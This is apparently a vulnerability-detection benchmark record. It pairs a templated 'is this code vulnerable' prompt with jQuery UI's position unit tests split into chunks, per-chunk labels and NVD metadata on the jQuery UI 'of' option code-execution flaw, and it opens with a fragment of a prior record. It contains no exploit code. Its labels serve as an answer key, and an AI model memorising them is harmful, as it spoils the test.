"baseScore": 8.1, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N", "version": "3.1"}, "exploitabilityScore": 2.8, "impactScore": 5.2, "source": "nvd@nist.gov", "type": "Primary"}, {"cvssData": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 8.1, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N", "version": "3.1"}, "exploitabilityScore": 2.8, "impactScore": 5.2, "source": "security-advisories@github.com", "type": "Secondary"}]}, "published": "2020-11-18T22:15:12.197", "references": [{"source": "security-advisories@github.com", "tags": ["Patch", "Third Party Advisory"], "url": "https://github.com/semantic-release/semantic-release/commit/ca90b34c4a9333438cc4d69faeb43362bb991e5a"}, {"source": "security-advisories@github.com", "tags": ["Third Party Advisory"], "url": "https://github.com/semantic-release/semantic-release/security/advisories/GHSA-r2j6-p67h-q639"}], "sourceIdentifier": "security-advisories@github.com", "vendorComments": null, "vulnStatus": "Analyzed", "weaknesses": [{"description": [{"lang": "en", "value": "CWE-116"}], "source": "security-advisories@github.com", "type": "Primary"}]}, "github_commit_url": "https://github.com/semantic-release/semantic-release/commit/ca90b34c4a9333438cc4d69faeb43362bb991e5a"}, "type": "CWE-116"}
126
Determine whether the {function_name} code is vulnerable or not.
[ "define( [\n\t\"qunit\",\n\t\"jquery\",\n\t\"lib/common\",\n\t\"lib/helper\",\n\t\"ui/position\"\n], function( QUnit, $, common, helper ) {", "var win = $( window ),\n\tscrollTopSupport = function() {\n\t\tvar support = win.scrollTop( 1 ).scrollTop() === 1;\n\t\twin.scrollTop( 0 );\n\t\tscrollTopSupport = function() {\n\t\t\treturn support;\n\t\t};\n\t\treturn support;\n\t};", "QUnit.module( \"position\", {\n\tbeforeEach: function() {\n\t\twin.scrollTop( 0 ).scrollLeft( 0 );\n\t},\n\tafterEach: helper.moduleAfterEach\n} );", "common.testJshint( \"position\" );", "QUnit.test( \"my, at, of\", function( assert ) {\n\tassert.expect( 4 );", "\t$( \"#elx\" ).position( {\n\t\tmy: \"left top\",\n\t\tat: \"left top\",\n\t\tof: \"#parentx\",\n\t\tcollision: \"none\"\n\t} );\n\tassert.deepEqual( $( \"#elx\" ).offset(), { top: 40, left: 40 }, \"left top, left top\" );", "\t$( \"#elx\" ).position( {\n\t\tmy: \"left top\",\n\t\tat: \"left bottom\",\n\t\tof: \"#parentx\",\n\t\tcollision: \"none\"\n\t} );\n\tassert.deepEqual( $( \"#elx\" ).offset(), { top: 60, left: 40 }, \"left top, left bottom\" );", "\t$( \"#elx\" ).position( {\n\t\tmy: \"left\",\n\t\tat: \"bottom\",\n\t\tof: \"#parentx\",\n\t\tcollision: \"none\"\n\t} );\n\tassert.deepEqual( $( \"#elx\" ).offset(), { top: 55, left: 50 }, \"left, bottom\" );", "\t$( \"#elx\" ).position( {\n\t\tmy: \"left foo\",\n\t\tat: \"bar baz\",\n\t\tof: \"#parentx\",\n\t\tcollision: \"none\"\n\t} );\n\tassert.deepEqual( $( \"#elx\" ).offset(), { top: 45, left: 50 }, \"left foo, bar baz\" );\n} );", "QUnit.test( \"multiple elements\", function( assert ) {\n\tassert.expect( 3 );", "\tvar elements = $( \"#el1, #el2\" ),\n\t\tresult = elements.position( {\n\t\t\tmy: \"left top\",\n\t\t\tat: \"left bottom\",\n\t\t\tof: \"#parent\",\n\t\t\tcollision: \"none\"\n\t\t} ),\n\t\texpected = { top: 10, left: 4 };", "\tassert.deepEqual( result, elements );\n\telements.each( function() {\n\t\tassert.deepEqual( $( this ).offset(), expected );\n\t} );\n} );", "QUnit.test( \"positions\", function( assert ) {\n\tassert.expect( 18 );", "\tvar offsets = {\n\t\t\tleft: 0,\n\t\t\tcenter: 3,\n\t\t\tright: 6,\n\t\t\ttop: 0,\n\t\t\tbottom: 6\n\t\t},\n\t\tstart = { left: 4, top: 4 },\n\t\tel = $( \"#el1\" );", "\t$.each( [ 0, 1 ], function( my ) {\n\t\t$.each( [ \"top\", \"center\", \"bottom\" ], function( vindex, vertical ) {\n\t\t\t$.each( [ \"left\", \"center\", \"right\" ], function( hindex, horizontal ) {\n\t\t\t\tvar _my = my ? horizontal + \" \" + vertical : \"left top\",\n\t\t\t\t\t_at = !my ? horizontal + \" \" + vertical : \"left top\";\n\t\t\t\tel.position( {\n\t\t\t\t\tmy: _my,\n\t\t\t\t\tat: _at,\n\t\t\t\t\tof: \"#parent\",\n\t\t\t\t\tcollision: \"none\"\n\t\t\t\t} );\n\t\t\t\tassert.deepEqual( el.offset(), {\n\t\t\t\t\ttop: start.top + offsets[ vertical ] * ( my ? -1 : 1 ),\n\t\t\t\t\tleft: start.left + offsets[ horizontal ] * ( my ? -1 : 1 )\n\t\t\t\t}, \"Position via \" + QUnit.jsDump.parse( { my: _my, at: _at } ) );\n\t\t\t} );\n\t\t} );\n\t} );\n} );", "QUnit.test( \"of\", function( assert ) {", "\tassert.expect( 9 + ( scrollTopSupport() ? 1 : 0 ) );", "\n\tvar event;", "\t$( \"#elx\" ).position( {\n\t\tmy: \"left top\",\n\t\tat: \"left top\",\n\t\tof: \"#parentx\",\n\t\tcollision: \"none\"\n\t} );\n\tassert.deepEqual( $( \"#elx\" ).offset(), { top: 40, left: 40 }, \"selector\" );", "\t$( \"#elx\" ).position( {\n\t\tmy: \"left top\",\n\t\tat: \"left bottom\",\n\t\tof: $( \"#parentx\" ),\n\t\tcollision: \"none\"\n\t} );\n\tassert.deepEqual( $( \"#elx\" ).offset(), { top: 60, left: 40 }, \"jQuery object\" );", "\t$( \"#elx\" ).position( {\n\t\tmy: \"left top\",\n\t\tat: \"left top\",\n\t\tof: $( \"#parentx\" )[ 0 ],\n\t\tcollision: \"none\"\n\t} );\n\tassert.deepEqual( $( \"#elx\" ).offset(), { top: 40, left: 40 }, \"DOM element\" );", "\t$( \"#elx\" ).position( {\n\t\tmy: \"right bottom\",\n\t\tat: \"right bottom\",\n\t\tof: document,\n\t\tcollision: \"none\"\n\t} );\n\tassert.deepEqual( $( \"#elx\" ).offset(), {\n\t\ttop: $( document ).height() - 10,\n\t\tleft: $( document ).width() - 10\n\t}, \"document\" );", "\t$( \"#elx\" ).position( {\n\t\tmy: \"right bottom\",\n\t\tat: \"right bottom\",\n\t\tof: $( document ),\n\t\tcollision: \"none\"\n\t} );\n\tassert.deepEqual( $( \"#elx\" ).offset(), {\n\t\ttop: $( document ).height() - 10,\n\t\tleft: $( document ).width() - 10\n\t}, \"document as jQuery object\" );", "\twin.scrollTop( 0 );", "\t$( \"#elx\" ).position( {\n\t\tmy: \"right bottom\",\n\t\tat: \"right bottom\",\n\t\tof: window,\n\t\tcollision: \"none\"\n\t} );\n\tassert.deepEqual( $( \"#elx\" ).offset(), {\n\t\ttop: win.height() - 10,\n\t\tleft: win.width() - 10\n\t}, \"window\" );", "\t$( \"#elx\" ).position( {\n\t\tmy: \"right bottom\",\n\t\tat: \"right bottom\",\n\t\tof: win,\n\t\tcollision: \"none\"\n\t} );\n\tassert.deepEqual( $( \"#elx\" ).offset(), {\n\t\ttop: win.height() - 10,\n\t\tleft: win.width() - 10\n\t}, \"window as jQuery object\" );", "\tif ( scrollTopSupport() ) {\n\t\twin.scrollTop( 500 ).scrollLeft( 200 );\n\t\t$( \"#elx\" ).position( {\n\t\t\tmy: \"right bottom\",\n\t\t\tat: \"right bottom\",\n\t\t\tof: window,\n\t\t\tcollision: \"none\"\n\t\t} );\n\t\tassert.deepEqual( $( \"#elx\" ).offset(), {\n\t\t\ttop: win.height() + 500 - 10,\n\t\t\tleft: win.width() + 200 - 10\n\t\t}, \"window, scrolled\" );\n\t\twin.scrollTop( 0 ).scrollLeft( 0 );\n\t}", "\tevent = $.extend( $.Event( \"someEvent\" ), { pageX: 200, pageY: 300 } );\n\t$( \"#elx\" ).position( {\n\t\tmy: \"left top\",\n\t\tat: \"left top\",\n\t\tof: event,\n\t\tcollision: \"none\"\n\t} );\n\tassert.deepEqual( $( \"#elx\" ).offset(), {\n\t\ttop: 300,\n\t\tleft: 200\n\t}, \"event - left top, left top\" );", "\tevent = $.extend( $.Event( \"someEvent\" ), { pageX: 400, pageY: 600 } );\n\t$( \"#elx\" ).position( {\n\t\tmy: \"left top\",\n\t\tat: \"right bottom\",\n\t\tof: event,\n\t\tcollision: \"none\"\n\t} );\n\tassert.deepEqual( $( \"#elx\" ).offset(), {\n\t\ttop: 600,\n\t\tleft: 400\n\t}, \"event - left top, right bottom\" );", "", "} );", "QUnit.test( \"offsets\", function( assert ) {\n\tassert.expect( 9 );", "\tvar offset;", "\t$( \"#elx\" ).position( {\n\t\tmy: \"left top\",\n\t\tat: \"left+10 bottom+10\",\n\t\tof: \"#parentx\",\n\t\tcollision: \"none\"\n\t} );\n\tassert.deepEqual( $( \"#elx\" ).offset(), { top: 70, left: 50 }, \"offsets in at\" );", "\t$( \"#elx\" ).position( {\n\t\tmy: \"left+10 top-10\",\n\t\tat: \"left bottom\",\n\t\tof: \"#parentx\",\n\t\tcollision: \"none\"\n\t} );\n\tassert.deepEqual( $( \"#elx\" ).offset(), { top: 50, left: 50 }, \"offsets in my\" );", "\t$( \"#elx\" ).position( {\n\t\tmy: \"left top\",\n\t\tat: \"left+50% bottom-10%\",\n\t\tof: \"#parentx\",\n\t\tcollision: \"none\"\n\t} );\n\tassert.deepEqual( $( \"#elx\" ).offset(), { top: 58, left: 50 }, \"percentage offsets in at\" );", "\t$( \"#elx\" ).position( {\n\t\tmy: \"left-30% top+50%\",\n\t\tat: \"left bottom\",\n\t\tof: \"#parentx\",\n\t\tcollision: \"none\"\n\t} );\n\tassert.deepEqual( $( \"#elx\" ).offset(), { top: 65, left: 37 }, \"percentage offsets in my\" );", "\t$( \"#elx\" ).position( {\n\t\tmy: \"left-30.001% top+50.0%\",\n\t\tat: \"left bottom\",\n\t\tof: \"#parentx\",\n\t\tcollision: \"none\"\n\t} );\n\toffset = $( \"#elx\" ).offset();\n\tassert.equal( Math.round( offset.top ), 65, \"decimal percentage offsets in my\" );\n\tassert.equal( Math.round( offset.left ), 37, \"decimal percentage offsets in my\" );", "\t$( \"#elx\" ).position( {\n\t\tmy: \"left+10.4 top-10.6\",\n\t\tat: \"left bottom\",\n\t\tof: \"#parentx\",\n\t\tcollision: \"none\"\n\t} );\n\toffset = $( \"#elx\" ).offset();\n\tassert.equal( Math.round( offset.top ), 49, \"decimal offsets in my\" );\n\tassert.equal( Math.round( offset.left ), 50, \"decimal offsets in my\" );", "\t$( \"#elx\" ).position( {\n\t\tmy: \"left+right top-left\",\n\t\tat: \"left-top bottom-bottom\",\n\t\tof: \"#parentx\",\n\t\tcollision: \"none\"\n\t} );\n\tassert.deepEqual( $( \"#elx\" ).offset(), { top: 60, left: 40 }, \"invalid offsets\" );\n} );", "QUnit.test( \"using\", function( assert ) {\n\tassert.expect( 10 );", "\tvar count = 0,\n\t\telems = $( \"#el1, #el2\" ),\n\t\tof = $( \"#parentx\" ),\n\t\texpectedPosition = { top: 60, left: 60 },\n\t\texpectedFeedback = {\n\t\t\ttarget: {\n\t\t\t\telement: of,\n\t\t\t\twidth: 20,\n\t\t\t\theight: 20,\n\t\t\t\tleft: 40,\n\t\t\t\ttop: 40\n\t\t\t},\n\t\t\telement: {\n\t\t\t\twidth: 6,\n\t\t\t\theight: 6,\n\t\t\t\tleft: 60,\n\t\t\t\ttop: 60\n\t\t\t},\n\t\t\thorizontal: \"left\",\n\t\t\tvertical: \"top\",\n\t\t\timportant: \"vertical\"\n\t\t},\n\t\toriginalPosition = elems.position( {\n\t\t\tmy: \"right bottom\",\n\t\t\tat: \"rigt bottom\",\n\t\t\tof: \"#parentx\",\n\t\t\tcollision: \"none\"\n\t\t} ).offset();", "\telems.position( {\n\t\tmy: \"left top\",\n\t\tat: \"center+10 bottom\",\n\t\tof: \"#parentx\",\n\t\tusing: function( position, feedback ) {\n\t\t\tassert.deepEqual( this, elems[ count ], \"correct context for call #\" + count );\n\t\t\tassert.deepEqual( position, expectedPosition, \"correct position for call #\" + count );\n\t\t\tassert.deepEqual( feedback.element.element[ 0 ], elems[ count ] );\n\t\t\tdelete feedback.element.element;", "", "\t\t\tassert.deepEqual( feedback, expectedFeedback );\n\t\t\tcount++;\n\t\t}\n\t} );", "\telems.each( function() {\n\t\tassert.deepEqual( $( this ).offset(), originalPosition, \"elements not moved\" );\n\t} );\n} );", "function collisionTest( assert, config, result, msg ) {\n\tvar elem = $( \"#elx\" ).position( $.extend( {\n\t\tmy: \"left top\",\n\t\tat: \"right bottom\",\n\t\tof: \"#parent\"\n\t}, config ) );\n\tassert.deepEqual( elem.offset(), result, msg );\n}", "function collisionTest2( assert, config, result, msg ) {\n\tcollisionTest( assert, $.extend( {\n\t\tmy: \"right bottom\",\n\t\tat: \"left top\"\n\t}, config ), result, msg );\n}", "QUnit.test( \"collision: fit, no collision\", function( assert ) {\n\tassert.expect( 2 );", "\tcollisionTest( assert, {\n\t\tcollision: \"fit\"\n\t}, {\n\t\ttop: 10,\n\t\tleft: 10\n\t}, \"no offset\" );", "\tcollisionTest( assert, {\n\t\tcollision: \"fit\",\n\t\tat: \"right+2 bottom+3\"\n\t}, {\n\t\ttop: 13,\n\t\tleft: 12\n\t}, \"with offset\" );\n} );", "// Currently failing in IE8 due to the iframe used by TestSwarm\nif ( !/msie [\\w.]+/.exec( navigator.userAgent.toLowerCase() ) ) {\nQUnit.test( \"collision: fit, collision\", function( assert ) {\n\tassert.expect( 2 + ( scrollTopSupport() ? 1 : 0 ) );", "\tcollisionTest2( assert, {\n\t\tcollision: \"fit\"\n\t}, {\n\t\ttop: 0,\n\t\tleft: 0\n\t}, \"no offset\" );", "\tcollisionTest2( assert, {\n\t\tcollision: \"fit\",\n\t\tat: \"left+2 top+3\"\n\t}, {\n\t\ttop: 0,\n\t\tleft: 0\n\t}, \"with offset\" );", "\tif ( scrollTopSupport() ) {\n\t\twin.scrollTop( 300 ).scrollLeft( 200 );\n\t\tcollisionTest( assert, {\n\t\t\tcollision: \"fit\"\n\t\t}, {\n\t\t\ttop: 300,\n\t\t\tleft: 200\n\t\t}, \"window scrolled\" );", "\t\twin.scrollTop( 0 ).scrollLeft( 0 );\n\t}\n} );\n}", "QUnit.test( \"collision: flip, no collision\", function( assert ) {\n\tassert.expect( 2 );", "\tcollisionTest( assert, {\n\t\tcollision: \"flip\"\n\t}, {\n\t\ttop: 10,\n\t\tleft: 10\n\t}, \"no offset\" );", "\tcollisionTest( assert, {\n\t\tcollision: \"flip\",\n\t\tat: \"right+2 bottom+3\"\n\t}, {\n\t\ttop: 13,\n\t\tleft: 12\n\t}, \"with offset\" );\n} );", "QUnit.test( \"collision: flip, collision\", function( assert ) {\n\tassert.expect( 2 );", "\tcollisionTest2( assert, {\n\t\tcollision: \"flip\"\n\t}, {\n\t\ttop: 10,\n\t\tleft: 10\n\t}, \"no offset\" );", "\tcollisionTest2( assert, {\n\t\tcollision: \"flip\",\n\t\tat: \"left+2 top+3\"\n\t}, {\n\t\ttop: 7,\n\t\tleft: 8\n\t}, \"with offset\" );\n} );", "QUnit.test( \"collision: flipfit, no collision\", function( assert ) {\n\tassert.expect( 2 );", "\tcollisionTest( assert, {\n\t\tcollision: \"flipfit\"\n\t}, {\n\t\ttop: 10,\n\t\tleft: 10\n\t}, \"no offset\" );", "\tcollisionTest( assert, {\n\t\tcollision: \"flipfit\",\n\t\tat: \"right+2 bottom+3\"\n\t}, {\n\t\ttop: 13,\n\t\tleft: 12\n\t}, \"with offset\" );\n} );", "QUnit.test( \"collision: flipfit, collision\", function( assert ) {\n\tassert.expect( 2 );", "\tcollisionTest2( assert, {\n\t\tcollision: \"flipfit\"\n\t}, {\n\t\ttop: 10,\n\t\tleft: 10\n\t}, \"no offset\" );", "\tcollisionTest2( assert, {\n\t\tcollision: \"flipfit\",\n\t\tat: \"left+2 top+3\"\n\t}, {\n\t\ttop: 7,\n\t\tleft: 8\n\t}, \"with offset\" );\n} );", "QUnit.test( \"collision: none, no collision\", function( assert ) {\n\tassert.expect( 2 );", "\tcollisionTest( assert, {\n\t\tcollision: \"none\"\n\t}, {\n\t\ttop: 10,\n\t\tleft: 10\n\t}, \"no offset\" );", "\tcollisionTest( assert, {\n\t\tcollision: \"none\",\n\t\tat: \"right+2 bottom+3\"\n\t}, {\n\t\ttop: 13,\n\t\tleft: 12\n\t}, \"with offset\" );\n} );", "QUnit.test( \"collision: none, collision\", function( assert ) {\n\tassert.expect( 2 );", "\tcollisionTest2( assert, {\n\t\tcollision: \"none\"\n\t}, {\n\t\ttop: -6,\n\t\tleft: -6\n\t}, \"no offset\" );", "\tcollisionTest2( assert, {\n\t\tcollision: \"none\",\n\t\tat: \"left+2 top+3\"\n\t}, {\n\t\ttop: -3,\n\t\tleft: -4\n\t}, \"with offset\" );\n} );", "QUnit.test( \"collision: fit, with margin\", function( assert ) {\n\tassert.expect( 2 );", "\t$( \"#elx\" ).css( {\n\t\tmarginTop: 6,\n\t\tmarginLeft: 4\n\t} );", "\tcollisionTest( assert, {\n\t\tcollision: \"fit\"\n\t}, {\n\t\ttop: 10,\n\t\tleft: 10\n\t}, \"right bottom\" );", "\tcollisionTest2( assert, {\n\t\tcollision: \"fit\"\n\t}, {\n\t\ttop: 6,\n\t\tleft: 4\n\t}, \"left top\" );\n} );", "QUnit.test( \"collision: flip, with margin\", function( assert ) {\n\tassert.expect( 3 );", "\t$( \"#elx\" ).css( {\n\t\tmarginTop: 6,\n\t\tmarginLeft: 4\n\t} );", "\tcollisionTest( assert, {\n\t\tcollision: \"flip\"\n\t}, {\n\t\ttop: 10,\n\t\tleft: 10\n\t}, \"left top\" );", "\tcollisionTest2( assert, {\n\t\tcollision: \"flip\"\n\t}, {\n\t\ttop: 10,\n\t\tleft: 10\n\t}, \"right bottom\" );", "\tcollisionTest2( assert, {\n\t\tcollision: \"flip\",\n\t\tmy: \"left top\"\n\t}, {\n\t\ttop: 0,\n\t\tleft: 4\n\t}, \"right bottom\" );\n} );", "QUnit.test( \"within\", function( assert ) {\n\tassert.expect( 7 );", "\tcollisionTest( assert, {\n\t\twithin: document\n\t}, {\n\t\ttop: 10,\n\t\tleft: 10\n\t}, \"within document\" );", "\tcollisionTest( assert, {\n\t\twithin: \"#within\",\n\t\tcollision: \"fit\"\n\t}, {\n\t\ttop: 4,\n\t\tleft: 2\n\t}, \"fit - right bottom\" );", "\tcollisionTest2( assert, {\n\t\twithin: \"#within\",\n\t\tcollision: \"fit\"\n\t}, {\n\t\ttop: 2,\n\t\tleft: 0\n\t}, \"fit - left top\" );", "\tcollisionTest( assert, {\n\t\twithin: \"#within\",\n\t\tcollision: \"flip\"\n\t}, {\n\t\ttop: 10,\n\t\tleft: -6\n\t}, \"flip - right bottom\" );", "\tcollisionTest2( assert, {\n\t\twithin: \"#within\",\n\t\tcollision: \"flip\"\n\t}, {\n\t\ttop: 10,\n\t\tleft: -6\n\t}, \"flip - left top\" );", "\tcollisionTest( assert, {\n\t\twithin: \"#within\",\n\t\tcollision: \"flipfit\"\n\t}, {\n\t\ttop: 4,\n\t\tleft: 0\n\t}, \"flipfit - right bottom\" );", "\tcollisionTest2( assert, {\n\t\twithin: \"#within\",\n\t\tcollision: \"flipfit\"\n\t}, {\n\t\ttop: 4,\n\t\tleft: 0\n\t}, \"flipfit - left top\" );\n} );", "// jQuery 3.2 incorrectly handle scrollbars in WebKit/Blink-based browsers.\n// This is fixed in version 3.3, see https://github.com/jquery/jquery/issues/3589.\n// As the data here comes from jQuery directly and the changes to fix it\n// are non-trivial: https://github.com/jquery/jquery/pull/3656, just accept\n// that scrollbar data in this jQuery version is inaccurate.\nQUnit[ jQuery.fn.jquery.substring( 0, 4 ) === \"3.2.\" ? \"skip\" : \"test\" ](\n\t\"with scrollbars\", function( assert ) {\n\tassert.expect( 4 );", "\t$( \"#scrollx\" ).css( {\n\t\twidth: 100,\n\t\theight: 100,\n\t\tleft: 0,\n\t\ttop: 0\n\t} );", "\tcollisionTest( assert, {\n\t\tof: \"#scrollx\",\n\t\tcollision: \"fit\",\n\t\twithin: \"#scrollx\"\n\t}, {\n\t\ttop: 90,\n\t\tleft: 90\n\t}, \"visible\" );", "\t$( \"#scrollx\" ).css( {\n\t\toverflow: \"scroll\"\n\t} );", "\tvar scrollbarInfo = $.position.getScrollInfo( $.position.getWithinInfo( $( \"#scrollx\" ) ) );", "\tcollisionTest( assert, {\n\t\tof: \"#scrollx\",\n\t\tcollision: \"fit\",\n\t\twithin: \"#scrollx\"\n\t}, {\n\t\ttop: 90 - scrollbarInfo.height,\n\t\tleft: 90 - scrollbarInfo.width\n\t}, \"scroll\" );", "\t$( \"#scrollx\" ).css( {\n\t\toverflow: \"auto\"\n\t} );", "\tcollisionTest( assert, {\n\t\tof: \"#scrollx\",\n\t\tcollision: \"fit\",\n\t\twithin: \"#scrollx\"\n\t}, {\n\t\ttop: 90,\n\t\tleft: 90\n\t}, \"auto, no scroll\" );", "\t$( \"#scrollx\" ).css( {\n\t\toverflow: \"auto\"\n\t} ).append( $( \"<div>\" ).height( 300 ).width( 300 ) );", "\tcollisionTest( assert, {\n\t\tof: \"#scrollx\",\n\t\tcollision: \"fit\",\n\t\twithin: \"#scrollx\"\n\t}, {\n\t\ttop: 90 - scrollbarInfo.height,\n\t\tleft: 90 - scrollbarInfo.width\n\t}, \"auto, with scroll\" );\n} );", "QUnit.test( \"fractions\", function( assert ) {\n\tassert.expect( 1 );", "\t$( \"#fractions-element\" ).position( {\n\t\tmy: \"left top\",\n\t\tat: \"left top\",\n\t\tof: \"#fractions-parent\",\n\t\tcollision: \"none\"\n\t} );\n\tassert.deepEqual( $( \"#fractions-element\" ).offset(), $( \"#fractions-parent\" ).offset(), \"left top, left top\" );\n} );", "QUnit.test( \"bug #5280: consistent results (avoid fractional values)\", function( assert ) {\n\tassert.expect( 1 );", "\tvar wrapper = $( \"#bug-5280\" ),\n\t\telem = wrapper.children(),\n\t\toffset1 = elem.position( {\n\t\t\tmy: \"center\",\n\t\t\tat: \"center\",\n\t\t\tof: wrapper,\n\t\t\tcollision: \"none\"\n\t\t} ).offset(),\n\t\toffset2 = elem.position( {\n\t\t\tmy: \"center\",\n\t\t\tat: \"center\",\n\t\t\tof: wrapper,\n\t\t\tcollision: \"none\"\n\t\t} ).offset();\n\tassert.deepEqual( offset1, offset2 );\n} );", "QUnit.test( \"bug #8710: flip if flipped position fits more\", function( assert ) {\n\tassert.expect( 3 );", "\t// Positions a 10px tall element within 99px height at top 90px.\n\tcollisionTest( assert, {\n\t\twithin: \"#bug-8710-within-smaller\",\n\t\tof: \"#parentx\",\n\t\tcollision: \"flip\",\n\t\tat: \"right bottom+30\"\n\t}, {\n\t\ttop: 0,\n\t\tleft: 60\n\t}, \"flip - top fits all\" );", "\t// Positions a 10px tall element within 99px height at top 92px.\n\tcollisionTest( assert, {\n\t\twithin: \"#bug-8710-within-smaller\",\n\t\tof: \"#parentx\",\n\t\tcollision: \"flip\",\n\t\tat: \"right bottom+32\"\n\t}, {\n\t\ttop: -2,\n\t\tleft: 60\n\t}, \"flip - top fits more\" );", "\t// Positions a 10px tall element within 101px height at top 92px.\n\tcollisionTest( assert, {\n\t\twithin: \"#bug-8710-within-bigger\",\n\t\tof: \"#parentx\",\n\t\tcollision: \"flip\",\n\t\tat: \"right bottom+32\"\n\t}, {\n\t\ttop: 92,\n\t\tleft: 60\n\t}, \"no flip - top fits less\" );\n} );", "} );" ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
PreciseBugs
{"buggy_code_end_loc": [336, 152], "buggy_code_start_loc": [116, 151], "filenames": ["tests/unit/position/core.js", "ui/position.js"], "fixing_code_end_loc": [355, 157], "fixing_code_start_loc": [116, 151], "message": "jQuery-UI is the official jQuery user interface library. Prior to version 1.13.0, accepting the value of the `of` option of the `.position()` util from untrusted sources may execute untrusted code. The issue is fixed in jQuery UI 1.13.0. Any string value passed to the `of` option is now treated as a CSS selector. A workaround is to not accept the value of the `of` option from untrusted sources.", "other": {"cve": {"cisaActionDue": null, "cisaExploitAdd": null, "cisaRequiredAction": null, "cisaVulnerabilityName": null, "configurations": [{"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:a:jquery:jquery_ui:*:*:*:*:*:*:*:*", "matchCriteriaId": "CB6A3E8D-9C5E-48D3-B096-672A0FE3AE82", "versionEndExcluding": "1.13.0", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}], "negate": false, "operator": "OR"}], "operator": "AND"}, {"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:o:fedoraproject:fedora:33:*:*:*:*:*:*:*", "matchCriteriaId": "E460AA51-FCDA-46B9-AE97-E6676AA5E194", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}, {"criteria": "cpe:2.3:o:fedoraproject:fedora:34:*:*:*:*:*:*:*", "matchCriteriaId": "A930E247-0B43-43CB-98FF-6CE7B8189835", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}, {"criteria": "cpe:2.3:o:fedoraproject:fedora:35:*:*:*:*:*:*:*", "matchCriteriaId": "80E516C0-98A4-4ADE-B69F-66A772E2BAAA", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}, {"criteria": "cpe:2.3:o:fedoraproject:fedora:36:*:*:*:*:*:*:*", "matchCriteriaId": "5C675112-476C-4D7C-BCB9-A2FB2D0BC9FD", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}], "negate": false, "operator": "OR"}], "operator": "AND"}, {"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:o:netapp:h300s_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "6770B6C3-732E-4E22-BF1C-2D2FD610061C", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}], "negate": false, "operator": "OR"}, {"cpeMatch": [{"criteria": "cpe:2.3:h:netapp:h300s:-:*:*:*:*:*:*:*", "matchCriteriaId": "9F9C8C20-42EB-4AB5-BD97-212DEB070C43", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": false}], "negate": false, "operator": "OR"}], "operator": "AND"}, {"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:o:netapp:h500s_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "7FFF7106-ED78-49BA-9EC5-B889E3685D53", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}], "negate": false, "operator": "OR"}, {"cpeMatch": [{"criteria": "cpe:2.3:h:netapp:h500s:-:*:*:*:*:*:*:*", "matchCriteriaId": "E63D8B0F-006E-4801-BF9D-1C001BBFB4F9", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": false}], "negate": false, "operator": "OR"}], "operator": "AND"}, {"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:o:netapp:h700s_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "56409CEC-5A1E-4450-AA42-641E459CC2AF", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}], "negate": false, "operator": "OR"}, {"cpeMatch": [{"criteria": "cpe:2.3:h:netapp:h700s:-:*:*:*:*:*:*:*", "matchCriteriaId": "B06F4839-D16A-4A61-9BB5-55B13F41E47F", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": false}], "negate": false, "operator": "OR"}], "operator": "AND"}, {"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:o:netapp:h300e_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "108A2215-50FB-4074-94CF-C130FA14566D", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}], "negate": false, "operator": "OR"}, {"cpeMatch": [{"criteria": "cpe:2.3:h:netapp:h300e:-:*:*:*:*:*:*:*", "matchCriteriaId": "7AFC73CE-ABB9-42D3-9A71-3F5BC5381E0E", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": false}], "negate": false, "operator": "OR"}], "operator": "AND"}, {"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:o:netapp:h500e_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "32F0B6C0-F930-480D-962B-3F4EFDCC13C7", "versionEndExcluding": null, 